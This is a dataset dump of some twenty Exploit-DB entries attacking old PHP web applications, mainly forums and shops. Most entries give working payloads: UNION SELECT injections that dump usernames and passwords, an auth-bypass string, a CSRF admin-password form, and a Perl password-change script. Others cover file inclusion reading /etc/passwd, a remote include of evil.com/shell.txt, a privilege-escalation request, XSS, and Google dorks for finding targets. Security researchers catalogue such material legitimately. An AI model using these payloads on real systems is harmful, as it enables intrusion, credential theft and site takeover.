deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11297
Description: IPB (nv2) Awards < 1.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-30
Author: fred777

Exploit:
#################################################
+
+  Author:      fred777 - [fred777.de]
+  Link:          http://forums.invisionize.com/nv2-Awards-120-t137847.html
+  Vuln:         index.php?autocom=awards&do=view&id=1
+  Greetzz to: Back2hack.cc
+  Contact:    nebelfrost77@googlemail.com
+
#################################################

--[ Vuln Code ] --

$this->ipsclass->DB->build_query( array( 'select' => 'a.user_id',
		                                           'from' => array( 'awarded' => 'a' ),
					  'where' => 'a.award_id=' . $this->ipsclass->input['id'],
					  'add_join' => array( 0 => array( 'select' => 'm.members_display_name',
					  'from' => array( 'members' => 'm' ),
						'where' => 'm.id=a.user_id',
						  'type' => 'left',
																				 ) ),
					  ) );

--------------------------------------------------------------------------------------

		'select' => '*',
		'from' => 'awards',
		'where' => 'id = "' . $_POST['award'] . '"',
		) );

--------------------------------------------------------------------------------------

	    $award_dat['user_id'] = $_GET['id'];
		$award_dat['award_id'] = $_POST['award'];

################################################

--[ Exploitable ]--

http://server/index.php?autocom=awards&do=view&id=1[SQL INJECTION]

http://server/index.php?autocom=awards&do=view&id=1+and+1=1 > true
http://server/index.php?autocom=awards&do=view&id=1+and+1=0 > false

http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5
http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4

################################################
Exploit-DB #24759
Description: IPBProArcade 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2004-11-20
Author: axl daivy

Exploit:
source: https://www.securityfocus.com/bid/11719/info

A remote SQL injection vulnerability reportedly affects ipbProArcade. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information.

http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

For modules installed on Invision Power Board versions 2.X:
index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*
Exploit-DB #26397
Description: IPBProArcade 2.5.2 - 'GameID' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-26
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/15205/info

A remote SQL injection vulnerability reportedly affects ipbProArcade.

The problem affects the 'gameid' parameter.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. 

http://www.example.com/forums/index.php?act=Arcade&module=favorites&gameid=|aLMaSTeR
Exploit-DB #32528
Description: iPeGuestbook 1.7/2.0 - 'pg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-24
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/31911/info

iPei Guestbook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?pg=c0d3_xss
Exploit-DB #14171
Description: Iphone Pointter Social Network - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-02
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Iphone pointter Social network LFI Vulnerablility 
Date : july, 2 2010
Critical Level 	: HIGH
Vendor Url : http://www.pointter.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :**RoAd_KiLlEr**,www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:

Apple Iphone Pointter is a PHP-based social network platform that lets you create a social network on your website. Right out of the box, your social network will offer nearly all of the features found on today's wildly popular social networks

###############################################################################################################

Xploit:  LFI Vulnerability

DEMO URL :http://server/iphone/showphoto.php?pid=[LFI]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #3596
Description: iPhotoAlbum 1.1 - 'header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-28
Author: GoLd_M

Exploit:
# iPhotoAlbum v1.1(header.php)Remote File Include Vulnerability
# D.Script: http://sourceforge.net/projects/iphotoalbum/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code 
# <?php if(isset($set_menu)) { include("$set_menu"); } ?>
# Exploit:[Path]/lib/static/header.php?set_menu=SheLL
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Thanx: w4ck1ng.com & h4cky0u.org &  t0pP8uZz 

# milw0rm.com [2007-03-28]
Exploit-DB #28890
Description: iPlanet Messaging Server - Messenger Express Expression() HTML Injection
Type: webapps
Platform: php
Date: 2006-10-31
Author: LegendaryZion

Exploit:
source: https://www.securityfocus.com/bid/20838/info

iPlanet Messaging Server Messenger Express is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary JavaScript in the victim's browser.

<IMG style="width: expression(alert('expression'));">
Exploit-DB #28938
Description: IPManager 2.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-07
Author: spaceballyopsolo

Exploit:
source: https://www.securityfocus.com/bid/20952/info

IpManager is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/?errno=1006&errmsg=%3Cscript%20language=javascript%3Ealert('xss')%3C/script%3E
Exploit-DB #15813
Description: IPN Development Handler 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-23
Author: AtT4CKxT3rR0r1ST

Exploit:
IPN Development Handler v2.0 CSRF (Change Admin Account)
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://scripts.filehungry.com/product/php/e-commerce/paypal/ipn_development_handler/

####################################################################


===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/siteadmin/EditInfo.php">
<input type="hidden" name="username" value="admin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="password2" value="123456"/>
<input type="hidden" name="s1" value="Update"/>
</form>

</body>
</html>

####################################################################

IPN Development Handler v2.0 Auth Bypass
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Script : http://scripts.filehungry.com/product/php/e-commerce/paypal/ipn_development_handler/

####################################################################

===[ Vulnerability ]===
Source Code path/siteadmin/login.php

if(isset($_POST[s2]))
{
$MyUsername1 = strip_tags($_POST[username1]);
$MyPassword1 = strip_tags($_POST[password1]);

if(empty($MyUsername1) || empty($MyPassword1))
{
$MyError = "<center><font color=red size=2 face=verdana><b>All fields are required!</b></font></center>";
}
else
{
//check the login info if exists
$q1 = "select * from dd_admin where username = '$MyUsername1' and [CREDENTIAL_REDACTED]' ";

$r1 = mysql_query($q1);

if(!$r1)
{
echo mysql_error();
exit();

===[ Exploit ]===

1- Go to Siteadmin [www.site.com/siteadmin/login.php]
2- join code Auth Bypass in Username & Password
3- Username: 'or'a'='a
Password: 'or'a'='a


####################################################################
Exploit-DB #2731
Description: iPrimal Forums - '/admin/index.php' Change User Password
Type: webapps
Platform: php
Date: 2006-11-06
Author: Bl0od3r

Exploit:
#!perl
#http://ipigroup.org/downloads/forums.zip
#Bl0od3r
#Germany
#shoutzz to all members of dC3 crew ,matrix_killer,eddie14
#special to str0ke
use IO::Socket;
if (@ARGV<4) {
&header;
} else { &start };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$passwd=$ARGV[3];
$post="usersname=".$user."&password=".$passwd."&email=test%40test.com&name=Dummy+user&tagline=Im+a+dumy+user&location=Ohio&bday=1983-11-20&job=Being+a+test+dummy&interests=Anything&bio=I%5C%5C%5C%27ve+been+sitting+on+this+db+my+whole+life.++HELP%21&signature=This+is+my+signature.&url=http%3A%2F%2Fipigroup.org&aim=myaim&yahoo=myyahoo&msn=mymsn%40hotmail.com&icq=546546&submitupdate=Update";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST ".$path."admin/index.php?p=members&edit=".$user." HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;

print "[+]Seems like your account has been created!Now try to login in :";
print "\n[+]User:$user\t[+][CREDENTIAL_REDACTED]";
}

sub header() {
print("
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\t\t~~iPrimal Forums Users(ChangePass) 3xPl0!t~~
\t\t[+]By Bl0od3r
\t\t[+]dC3 Crew
\t\t[+]Usage:script.pl owned.org /script/ admin yeesss
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
");
}

# milw0rm.com [2006-11-06]
Exploit-DB #2739
Description: iPrimal Forums - '/admin/index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-08
Author: Bl0od3r

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iPrimal Forums Remote File Inclusion
Download:http://ipigroup.org/downloads/forums.zip
Found by Bl0od3r
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code:   #line 126-129
.....
if($_GET['p'] == ''){

echo 'Please select an item from the menu above.';

}else{

include($_GET['p'].'.php');
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File:
/admin/index.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability:
http://host.com/admin/index.php?p=http://evil.com/shell.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetz:evilcookie,eddy14,matrix_killer
Special Greetz to:str0ke!

# milw0rm.com [2006-11-08]
Exploit-DB #43098
Description: iProject Management System 1.0 - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iProject Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://ikodes.com/
# Software Link: https://codecanyon.net/item/iproject-management-system/20483358
# Demo: http://project.ikodes.com/ikpms/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15961
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?cmd=agent&mod=true&ID=[SQL]
# http://localhost/[PATH]/index.php?cmd=client_master&mod=true&ID=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #40084
Description: IPS Community Suite 4.1.12.3 - PHP Code Injection
Type: webapps
Platform: php
Date: 2016-07-11
Author: Egidio Romano

Exploit:
---------------------------------------------------------------------------
IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability
---------------------------------------------------------------------------


[-] Software Link:

https://invisionpower.com/


[-] Affected Versions:

Version 4.1.12.3 and prior versions.


[-] Vulnerability Description:

The vulnerable code is located in the /applications/core/modules/front/system/content.php script:

38.	$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
39.	
40.	if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
41.	{
42.	    \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
43.	}

User input passed through the "content_class" request parameter is not properly sanitized before being used in a call
to the "class_exists()" function at line 40. This could be exploited by unauthenticated attackers to inject and execute
arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:

171.	if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
172.	{
173.	    $databaseId = mb_substr( $class, 14 );
174.	    eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]
175.	}

Successful exploitation of this vulnerability requires the application running on PHP before version 5.4.24 or 5.5.8.


[-] Proof of Concept:

http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*


[-] Solution:

Update to version 4.1.13 or later.


[-] Disclosure Timeline:

[04/07/2016] - Vendor notified
[05/07/2016] - Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/
[06/07/2016] - CVE number requested
[06/07/2016] - CVE number assigned
[07/07/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2016-6174 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-11
Exploit-DB #4821
Description: IPTBB 0.5.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-31
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91
# Title: IPTBB <= 0.5.4 Remote Sql Injection
# Download: http://sourceforge.net/projects/iptbb/
# Bug: Remote Sql Injection
# Info: IPTBB is a free forum system built using PHP and mysql.
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/index.php?act=viewdir&id='+union+select+1,concat(username,char(58),password,char(58),email,char(58),msn)+from+iptbb_users+where+id=[UserID]/*

Change [UserID] whit id of member u want get user and password ( the default id of the admin is 1 ) .

In the admincp.php , in general settings, u can insert a html code for redirect .

---------------------------------------------------------------

# milw0rm.com [2007-12-31]
Exploit-DB #5874
Description: IPTBB 0.5.6 - 'act' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-20
Author: storm

Exploit:
  ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm

IPTBB is a free forum system built using PHP and mysql.
Local File Inclusion

Local File Inclusion
--------------------

index.php?act=../../../../../../etc/passwd%00


function action($page){
	$page="main/".$page.".php";
	//Include the template maker
	//Get the settings
$setting = array();
$sql = mysql_query(" SELECT * FROM `iptbb_settings` ");

while ( $row = mysql_fetch_array( $sql ) ){
	$setting["{$row['name']}"] = $row['value'];
}

	require_once('tpl.class.php');
	$tpl = new template;
	$fileurl = 'templates/';
	$template = $setting['template'] . '/';
	include($page);
}

# milw0rm.com [2008-06-20]
Exploit-DB #5786
Description: IPTBB 0.5.6 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-06-11
Author: CWH Underground

Exploit:
=========================================
 IPTBB 0.5.6 Arbitrary Add-Admin Exploit 
=========================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 11 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : IPTBB
 VERSION     : 0.5.6
 VENDOR	     : http://iptbb.org/
 DOWNLOAD    : http://sourceforge.net/projects/iptbb
#####################################################

---Add-Admin Exploit---

***magic_quotes_gpc = off***

-------------
 Description
-------------

	IPTBB 0.5.6 have Vulnerability to escalate user's privilege to administartor's privilege.
That Vulnerable in "User Control Panel - Change Email" (http://[Target]/[iptbb_path]/index.php?act=usercp&p=email) 
and you can injection code into form,This action will give your account can use Admin Control Panel (http://[Target]/[iptbb_path]/admincp.php)
with Administrative's Privilege.

-----------------
 Vulnerable Path
-----------------
[+] http://[Target]/[iptbb_path]/index.php?act=usercp&p=email

--------------
 Exploit code 
--------------
[+] hacked',`level`='2

-----
 POC
-----

[+]POST http://[Target]/[iptbb_path]/index.php?act=usercp&p=email HTTP/1.1
[+]Host: [Target]
[+]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+]Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+]Accept-Language: en-us,en;q=0.5
[+]Accept-Encoding: gzip,deflate
[+]Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+]Keep-Alive: 300
[+]Proxy-Connection: keep-alive
[+]Referer: http://localhost/iptbb/index.php?act=usercp&p=email
[+]Cookie: fusion_visited=yes; PHPSESSID=4a17d6283eef21e4e1d8e3264f9f26da; FOGSESSID=cce32d569575ec08780837d529947183; pfbx_sess=d96d044ae57aede13f2d8dc32779c80f; username=cwh; [CREDENTIAL_REDACTED]
[+]Content-Type: application/x-www-form-urlencoded
[+]Content-length: 109
[+]
[+]email=hacked%27%2C%60level%60%3D%272&cemail=hacked%27%2C%60level%60%3D%272&curemail=aa%40aa.com&submit=Submit

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-11]
Exploit-DB #10350
Description: IRAN N.E.T E-Commerce Group - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-08
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                                    ALGERIAN HACKER
    **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            IRAN N.E.T E-commerce Group SQL Injection Vulnerability
  [!] Author    : Dr.0rYX and Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://iranmc.org
  [+] script   : IRAN N.E.T E-commerce Group SQL Injection Vulnerability
  [+] Download : http://iranmc.org/index.php?id=7 sell (script with hosting)
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"zcat.php?id="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/zcat.php?id=[N.A.S.T ]

  [ Exploit ]

  http://server/zcat.php?id=-1+union+select+1,2,concat(user,char(58),pass),4,5+from+user


  http://server/cat.php?id=-3+union+select+1,group_concat(id,0x3a,user,0x3a,pass),3,4+from+user


  [ ExOMPLE ]

  http://server/zcat.php?id=-64+union+select+1,2,concat%28user,char%2858%29,pass%29,4,5+from+user

  [  GReet ]

  [+] :xcv-dz , CLAW , LE0N , hacker.ps , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #6712
Description: IranMC Arad Center - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-09
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Arad Center  (news.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
|
| script : http://www.iranmc.com/shop.php
|
| DorK   : "Designed & Developed by N.E.T E-Commerce Group. All Rights Reserved."
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/news.php?id=-1+union+select+0,0,concat(user,0x3e,pass),4+from+user--





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-09]